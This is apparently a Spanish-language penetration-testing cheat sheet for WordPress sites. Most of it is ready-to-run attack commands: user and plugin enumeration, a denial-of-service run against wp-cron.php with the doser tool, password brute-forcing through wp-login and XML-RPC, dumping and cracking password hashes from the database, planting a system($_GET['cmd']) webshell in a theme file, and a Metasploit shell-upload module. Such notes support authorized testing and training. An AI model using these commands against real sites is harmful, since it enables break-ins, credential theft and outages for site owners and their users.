WordPress
Principales rutas y archivos
General:
/index.php/wp-config.php= información requerida por WordPress para conectarse a la base de datos./wp-content/= directorio principal donde se almacenan los complementos y los temas./wp-content/uploads//wp-content/uploads/myfiles/<file>/wp-content/plugins//wp-content/themes/xmlrpc.php
Inicio de sesión:
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.php
/license.txt/readme.html
Roles de usuarios
Administrator
Tienen acceso a funciones administrativas dentro del sitio web. Esto incluye agregar y eliminar usuarios y publicaciones, así como editar el código fuente.
Editor
Pueden publicar y administrar publicaciones, incluidas las publicaciones de otros usuarios.
Author
Pueden publicar y administrar sus propias publicaciones.
Contributor
Pueden escribir y administrar sus propias publicaciones, pero no pueden publicarlas.
Subscriber
Son usuarios normales que pueden buscar publicaciones y editar sus perfiles.
Enumeración
General
wpscan --url http://<target>/ --api-token <api-token> -o wpscan.txt
docker run -it --rm wpscanteam/wpscan --url https://<target>/ --api-token <api-token> --disable-tls-checks
docker run -it --rm wpscanteam/wpscan --url https://<target>/ --api-token <api-token> --disable-tls-checks --force --wp-content-dir "wp-content" --wp-plugins-dir "wp-content/plugins"--url = URL (Uniform Resource Locator).
<target> = objetivo.
--api-token = API token (https://wpscan.com/).
<api-token> = API token.
-o = guarda resultado del escaneo en archivo
wpscan.txt.
Nmap
nmap -p 80,443 --script http-wordpress-enum --script-args check-latest=true,search-limit=250 <target>-p 80,443 = puertos 80/TCP y 443/TCP.
--script http-wordpress-enum = enumeración general.
check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.
search-limit=200: limite de búsqueda de 250 temas y plugins.
<target> = objetivo.
cURL
Obtención de número de versión de Wordpress.
curl -s -X GET http://<target> | grep '<meta name="generator"'Usuarios
WPScan
wpscan --url http://<target>/ --enumerate u -o wpscan-user.txt--url = URL (Uniform Resource Locator).
<target> = objetivo.
--enumerate u = enumeración de usuarios.
-o = guarda resultado del escaneo en archivo
wpscan-user.txt.
Nmap
nmap -p 80,443 --script http-wordpress-users --script-args limit=50 <target>-p 80,443 = puertos 80/TCP y 443/TCP.
--script http-wordpress-users = enumeración de usuarios.
--script-args limit=50: limite de búsqueda por los primeros 50 ID de usuarios.
<target> = objetivo.
cURL
Enumeración por nombre de usuario.
curl -s -o /dev/null -w "%{http_code}\n" http://<target>/author/<username><target> = objetivo.
<username> = nombre de usuario.
Enumeración de usuarios desde listado.
for i in $(cat <path-usernames>); \
do curl -s -o /dev/null -w "%{http_code}:$i\n" \
http://<target>/author/$i; done<path-usernames> = ruta de usuarios.
<target> = objetivo.
Enumeración de usuarios por ID.
for i in {1..10}; \
do curl -L -s http://<target>/?author=$i \
| grep -iPo '(?<=<title>)(.*)(?=</title>)' \
| cut -f1 -d" " | grep -v "Page"; doneJSON endpoint.
curl -s http://<target>/wp-json/wp/v2/users | jqPlugins
Revisión manualmente de ruta de plugins.
http://<target>/wp-content/plugins/WPScan
wpscan --url http://<target>/ --enumerate p--url = URL (Uniform Resource Locator).
<target> = objetivo.
--enumerate p = enumeración de plugins.
Nmap
nmap -p 80,443 --script http-wordpress-enum --script-args type="plugins",check-latest=true,search-limit=250 <target>-p 80,443 = puertos 80/TCP y 443/TCP.
--script http-wordpress-enum = enumeración general.
type="themes" = enumeración de temas.
check-latest=true: recupera información de la versión más reciente del plugin desde wordpress.org.
search-limit=200: limite de búsqueda de 250 plugins.
<target> = objetivo.
cURL
curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'wp-content/plugins/*' | cut -d"'" -f2Themes
cURL
curl -s -X GET http://<target> | sed 's/href=/\n/g' | sed 's/src=/\n/g' | grep 'themes' | cut -d"'" -f2XML-RPC
Verificación de XML-RPC activo.
/xmlrpc.php
curl -X POST http://<target>/xmlrpc.php \
-H "Content-Type: application/xml" \
-H "Accept: application/xml" \
-d "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"wp-cron.php
De forma predeterminada, al recibir una solicitud, WordPress genera una solicitud adicional al archivo wp-cron.php. Al generar un gran número de solicitudes al sitio, es posible que este realice un ataque de Denial of Service (DoS) contra sí mismo.
# Monitoreo en paralelo
while true; do echo -n "$(date '+%Y-%m-%d %H:%M:%S') "; curl -o /dev/null -s -k -w '%{http_code} %{time_total}\n' https://<target>/; sleep 2; done
# Denial of Service (DoS)
git clone https://github.com/Quitten/doser.go.git
cd doser.go/
go build doser.go
./doser -t 100000 -g 'https://<target>/wp-cron.php'El sitio podría tener definida la constante DISABLE_WP_CRON en el archivo wp-config.php con el valor true, lo que deshabilita la ejecución automática de wp-cron.php en cada solicitud. Esta configuración no puede determinarse externamente, por lo que el estado real únicamente puede verificarse con acceso directo a la configuración del sitio.
define('DISABLE_WP_CRON', true);Ataques de contraseñas
Usuarios
WPScan
Método "wp-login".
wpscan --password-attack wp-login --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>--password-attack = wp-login.
--url = URL (Uniform Resource Locator).
<target> = objetivo.
--usernames = usuarios.
<user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.
--passwords = contraseñas.
<path-passwords> = ruta de archivo con listado de contraseñas.
Método "xmlrpc".
wpscan --password-attack xmlrpc --url http://<target>/ --usernames <user-01,user-02,user-03> --passwords <path-passwords>--password-attack = xmlrpc.
--url = URL (Uniform Resource Locator).
<target> = objetivo.
--usernames = usuarios.
<user-01, user-02, user-03> = usuario 01, usuarios 02, usuario 03, etc.
--passwords = contraseñas.
<path-passwords> = ruta de archivo con listado de contraseñas.
cURL
Utilizando XML-RPC (/xmlrpc.php).
curl -X POST -d "<methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>{user}</value></param><param><value>{password}</value></param></params></methodCall>" http://<target>/xmlrpc.php{user} = usuario.
{password} = contraseña.
<target> = objetivo.
Cracking de contraseñas de usuarios en base de datos
MySQL CLI
mysql --user=<user> --password=<password> --host=<target>
show databases;
use wordpress;
show tables;
describe wp_users;
select user_login, user_pass from wp_users;
select concat_ws(':', user_login, user_pass) from wp_users;John the Ripper
john hashes.txt --wordlist=<path-wordlist>Upload reverse shell
Theme
Modificación de theme.
wp-admin -> Appearance -> Theme Editor -> Select theme to edit -> 404 Template (404.php)
system($_GET['cmd']);Ejecución de webshell.
curl -X GET "http://{target}/wp-content/themes/<theme-name>/404.php?cmd=id"Plugin
wp-admin -> Plugins -> Plugin Editor -> file.phpActivar plugin.
Metasploit Framework (MSF)
use exploit/unix/webapp/wp_admin_shell_uploadÚltima actualización
¿Te fue útil?